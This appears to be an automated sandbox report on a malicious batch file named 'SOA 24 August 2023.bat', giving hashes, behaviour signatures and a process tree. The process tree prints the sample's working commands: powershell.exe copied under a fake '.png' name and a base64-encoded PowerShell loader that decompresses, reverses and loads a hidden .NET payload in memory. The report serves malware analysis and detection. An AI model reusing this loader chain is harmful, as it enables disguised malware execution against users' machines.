70249c14b1e622eef7f76f457250cb280f7f6a1e76b76510b5158821d00ea47a

General

Target

SOA 24 August 2023.bat
Size

943KB
MD5

cd906bc5eaeaec0ab92892fa08e8167f
SHA1

af7f8e1839d55bb61ac2b715f657aec63eea7e09
SHA256

70249c14b1e622eef7f76f457250cb280f7f6a1e76b76510b5158821d00ea47a
SHA512

c0a800f9a02b331a410793dd3de3f851478aacc5507b729e2282e57f0bb8ef80c0a136b580788461544782879ea0ef68f3103706beb45f98e4622793bd3b149c
SSDEEP

24576:Pe+BQLGhXLwTYqsMsAmMTqBx117pMItUOM0p6d:hzc411mEUGUd

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2240	Dhjspe.png

Loads dropped DLL 1 IoCs

pid	Process
2124	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2240	Dhjspe.png

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2240	Dhjspe.png

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 688 wrote to memory of 2124	688	cmd.exe	29
PID 688 wrote to memory of 2124	688	cmd.exe	29
PID 688 wrote to memory of 2124	688	cmd.exe	29
PID 2124 wrote to memory of 2336	2124	cmd.exe	31
PID 2124 wrote to memory of 2336	2124	cmd.exe	31
PID 2124 wrote to memory of 2336	2124	cmd.exe	31
PID 2124 wrote to memory of 2444	2124	cmd.exe	32
PID 2124 wrote to memory of 2444	2124	cmd.exe	32
PID 2124 wrote to memory of 2444	2124	cmd.exe	32
PID 2124 wrote to memory of 2548	2124	cmd.exe	33
PID 2124 wrote to memory of 2548	2124	cmd.exe	33
PID 2124 wrote to memory of 2548	2124	cmd.exe	33
PID 2124 wrote to memory of 2540	2124	cmd.exe	34
PID 2124 wrote to memory of 2540	2124	cmd.exe	34
PID 2124 wrote to memory of 2540	2124	cmd.exe	34
PID 2124 wrote to memory of 2240	2124	cmd.exe	35
PID 2124 wrote to memory of 2240	2124	cmd.exe	35
PID 2124 wrote to memory of 2240	2124	cmd.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\SOA 24 August 2023.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\SOA 24 August 2023.bat"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2336
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Dhjspe.png
    3⤵
    PID:2444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2548
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\SOA 24 August 2023.bat" C:\Users\Admin\AppData\Local\Temp\Dhjspe.png.bat
    3⤵
    PID:2540
- - C:\Users\Admin\AppData\Local\Temp\Dhjspe.png
    C:\Users\Admin\AppData\Local\Temp\Dhjspe.png -win 1 -enc JABFAHQAYQB3AGcAdgBoAHkAeQBrACAAPQAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEwAaQBuAGUAcwAoACgAKABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQApAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAC4AYgBhAHQAIgApACwAIABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAApACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAGwAYQBzAHQAIAAxADsAIAAkAEsAYwB5AGgAdgBrAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQARQB0AGEAdwBnAHYAaAB5AHkAawApADsAJABGAHMAZgBkAHMAagBiAHcAZABwAGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEsAYwB5AGgAdgBrAGUAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQASgBwAHUAZABwAG8AbABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEYAcwBmAGQAcwBqAGIAdwBkAHAAYwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQASgBwAHUAZABwAG8AbABmAC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABKAHAAdQBkAHAAbwBsAGYALgBDAGwAbwBzAGUAKAApADsAJABGAHMAZgBkAHMAagBiAHcAZABwAGMALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABLAGMAeQBoAHYAawBlACAAPQAgACQAbwB1AHQAcAB1AHQALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEsAYwB5AGgAdgBrAGUAKQA7ACAAJABJAGUAYwBqAHcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQASwBjAHkAaAB2AGsAZQApADsAIAAkAFUAaQBjAHYAcwBhACAAPQAgACQASQBlAGMAagB3AC4ARwBlAHQARQB4AHAAbwByAHQAZQBkAFQAeQBwAGUAcwAoACkAWwAwAF0AOwAgACQARABpAHEAdgBkAHIAIAA9ACAAJABVAGkAYwB2AHMAYQAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2240

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Dhjspe.png

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\Dhjspe.png

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2240-9-0x000000001B000000-0x000000001B2E2000-memory.dmp

Filesize
2.9MB

Download
memory/2240-10-0x00000000021C0000-0x00000000021C8000-memory.dmp

Filesize
32KB

Download
memory/2240-12-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/2240-11-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2240-13-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2240-14-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/2240-15-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/2240-16-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing